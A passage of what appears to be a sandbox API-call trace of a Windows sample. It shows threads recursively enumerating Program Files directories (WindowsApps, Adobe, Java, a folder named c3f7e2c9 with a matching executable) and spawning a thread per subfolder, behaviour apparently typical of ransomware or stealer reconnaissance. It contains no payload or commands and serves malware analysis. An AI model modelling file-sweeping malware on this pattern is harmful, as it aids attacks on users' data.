	[0079.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1090
	[0079.077] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfa24be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIDC33~1.0_N")) returned 1
	[0079.081] wcscmp (_String1="Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.081] wcscmp (_String1="Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x476a6e8
	[0079.081] wcscpy (in: _Dest=0x476a6e8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.081] wcscat (in: _Dest=0x476a6e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.081] wcscat (in: _Dest=0x476a6e8, _Source="Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe"
	[0079.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1094
	[0079.082] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x442f2a78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc676e57, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc676e57, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe", cAlternateFileName="MIA74D~1.SCA")) returned 1
	[0079.082] wcscmp (_String1="Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.082] wcscmp (_String1="Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477e9d0
	[0079.082] wcscpy (in: _Dest=0x477e9d0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.082] wcscat (in: _Dest=0x477e9d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.082] wcscat (in: _Dest=0x477e9d0, _Source="Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0079.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1098
	[0079.083] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42af40a7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc676e57, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc676e57, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI691C~1.0_X")) returned 1
	[0079.083] wcscmp (_String1="Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.083] wcscmp (_String1="Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7dc98
	[0079.083] wcscpy (in: _Dest=0x2d7dc98, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.083] wcscat (in: _Dest=0x2d7dc98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.083] wcscat (in: _Dest=0x2d7dc98, _Source="Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0079.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7dc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x109c
	[0079.084] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x429e902d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc650cb3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc650cb3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI984C~1.0_N")) returned 1
	[0079.084] wcscmp (_String1="Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.084] wcscmp (_String1="Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4769f68
	[0079.084] wcscpy (in: _Dest=0x4769f68, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.084] wcscat (in: _Dest=0x4769f68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.084] wcscat (in: _Dest=0x4769f68, _Source="Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe"
	[0079.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4769f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0
	[0079.085] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fefe3, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb5029d0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa5fefe3, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MovedPackages", cAlternateFileName="MOVEDP~1")) returned 1
	[0079.085] wcscmp (_String1="MovedPackages", _String2=".") returned 1
	[0079.085] wcscmp (_String1="MovedPackages", _String2="..") returned 1
	[0079.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf488
	[0079.085] wcscpy (in: _Dest=0x2daf488, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.085] wcscat (in: _Dest=0x2daf488, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.085] wcscat (in: _Dest=0x2daf488, _Source="MovedPackages" | out: _Dest="C:\\Program Files\\WindowsApps\\MovedPackages") returned="C:\\Program Files\\WindowsApps\\MovedPackages"
	[0079.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daf488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4
	[0079.086] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fefe3, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb5029d0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa5fefe3, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MovedPackages", cAlternateFileName="MOVEDP~1")) returned 0
	[0079.086] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0079.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0079.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73420) returned 1
	[0079.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73540) returned 1

Thread:
	id = 94
	os_tid = 0x360

	[0073.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d734f8
	[0073.748] wcscpy (in: _Dest=0x2d734f8, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe"
	[0073.748] wcscat (in: _Dest=0x2d734f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\"
	[0073.748] wcscat (in: _Dest=0x2d734f8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\*") returned="C:\\Program Files (x86)\\Adobe\\*"
	[0073.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.748] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33b7f536, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33b7f536, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.749] wcscmp (_String1=".", _String2=".") returned 0
	[0073.749] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33b7f536, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33b7f536, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.749] wcscmp (_String1="..", _String2=".") returned 1
	[0073.749] wcscmp (_String1="..", _String2="..") returned 0
	[0073.750] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 1
	[0073.750] wcscmp (_String1="Acrobat Reader DC", _String2=".") returned 1
	[0073.751] wcscmp (_String1="Acrobat Reader DC", _String2="..") returned 1
	[0073.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733fb8
	[0073.751] wcscpy (in: _Dest=0x4733fb8, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe"
	[0073.770] wcscat (in: _Dest=0x4733fb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\"
	[0073.770] wcscat (in: _Dest=0x4733fb8, _Source="Acrobat Reader DC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC"
	[0073.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0073.790] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 0
	[0073.790] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d734f8) returned 1
	[0073.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73270) returned 1

Thread:
	id = 95
	os_tid = 0x124c

	[0073.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4731140
	[0073.791] wcscpy (in: _Dest=0x4731140, _Source="C:\\Program Files (x86)\\c3f7e2c9" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9") returned="C:\\Program Files (x86)\\c3f7e2c9"
	[0073.791] wcscat (in: _Dest=0x4731140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9\\") returned="C:\\Program Files (x86)\\c3f7e2c9\\"
	[0073.791] wcscat (in: _Dest=0x4731140, _Source="*" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9\\*") returned="C:\\Program Files (x86)\\c3f7e2c9\\*"
	[0073.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.791] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\c3f7e2c9\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84dc8ab2, ftCreationTime.dwHighDateTime=0x1d5da5f, ftLastAccessTime.dwLowDateTime=0x84dc8ab2, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84deec9a, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.791] wcscmp (_String1=".", _String2=".") returned 0
	[0073.791] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84dc8ab2, ftCreationTime.dwHighDateTime=0x1d5da5f, ftLastAccessTime.dwLowDateTime=0x84dc8ab2, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84deec9a, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.792] wcscmp (_String1="..", _String2=".") returned 1
	[0073.792] wcscmp (_String1="..", _String2="..") returned 0
	[0073.792] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84deec9a, ftCreationTime.dwHighDateTime=0x1d5da5f, ftLastAccessTime.dwLowDateTime=0x84deec9a, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x5e87bd00, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x0, cFileName="c3f7e2c9.exe", cAlternateFileName="")) returned 1
	[0073.792] wcscmp (_String1="c3f7e2c9.exe", _String2=".") returned 1
	[0073.792] wcscmp (_String1="c3f7e2c9.exe", _String2="..") returned 1
	[0073.792] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84deec9a, ftCreationTime.dwHighDateTime=0x1d5da5f, ftLastAccessTime.dwLowDateTime=0x84deec9a, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x5e87bd00, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x0, cFileName="c3f7e2c9.exe", cAlternateFileName="")) returned 0
	[0073.792] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731140) returned 1
	[0073.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d730c0) returned 1

Thread:
	id = 96
	os_tid = 0x1250

	[0073.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85918
	[0073.793] wcscpy (in: _Dest=0x2d85918, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0073.793] wcscat (in: _Dest=0x2d85918, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\"
	[0073.793] wcscat (in: _Dest=0x2d85918, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\*") returned="C:\\Program Files (x86)\\Common Files\\*"
	[0073.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.793] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.793] wcscmp (_String1=".", _String2=".") returned 0
	[0073.793] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.793] wcscmp (_String1="..", _String2=".") returned 1
	[0073.793] wcscmp (_String1="..", _String2="..") returned 0
	[0073.793] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0073.793] wcscmp (_String1="Adobe", _String2=".") returned 1
	[0073.793] wcscmp (_String1="Adobe", _String2="..") returned 1
	[0073.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d77660
	[0073.793] wcscpy (in: _Dest=0x2d77660, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0073.793] wcscat (in: _Dest=0x2d77660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\"
	[0073.793] wcscat (in: _Dest=0x2d77660, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0073.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0073.794] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0073.794] wcscmp (_String1="Java", _String2=".") returned 1
	[0073.794] wcscmp (_String1="Java", _String2="..") returned 1
	[0073.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d778a0
	[0073.794] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0073.794] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\"
	[0073.794] wcscat (in: _Dest=0x2d778a0, _Source="Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java"
	[0073.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d778a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0073.795] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0073.795] wcscmp (_String1="Microsoft Shared", _String2=".") returned 1
	[0073.795] wcscmp (_String1="Microsoft Shared", _String2="..") returned 1
	[0073.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732e48
	[0073.795] wcscpy (in: _Dest=0x4732e48, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0073.795] wcscat (in: _Dest=0x4732e48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\"
	[0073.795] wcscat (in: _Dest=0x4732e48, _Source="Microsoft Shared" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Microsoft Shared") returned="C:\\Program Files (x86)\\Common Files\\Microsoft Shared"
	[0073.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732e48) returned 1
	[0073.795] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc74c90, ftCreationTime.dwHighDateTime=0x1d5a2ad, ftLastAccessTime.dwLowDateTime=0x7eec4280, ftLastAccessTime.dwHighDateTime=0x1d57323, ftLastWriteTime.dwLowDateTime=0x7eec4280, ftLastWriteTime.dwHighDateTime=0x1d57323, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1
	[0073.795] wcscmp (_String1="ncftp.exe", _String2=".") returned 1
	[0073.795] wcscmp (_String1="ncftp.exe", _String2="..") returned 1
	[0073.795] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0073.795] wcscmp (_String1="Services", _String2=".") returned 1
	[0073.795] wcscmp (_String1="Services", _String2="..") returned 1
	[0073.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47338d0
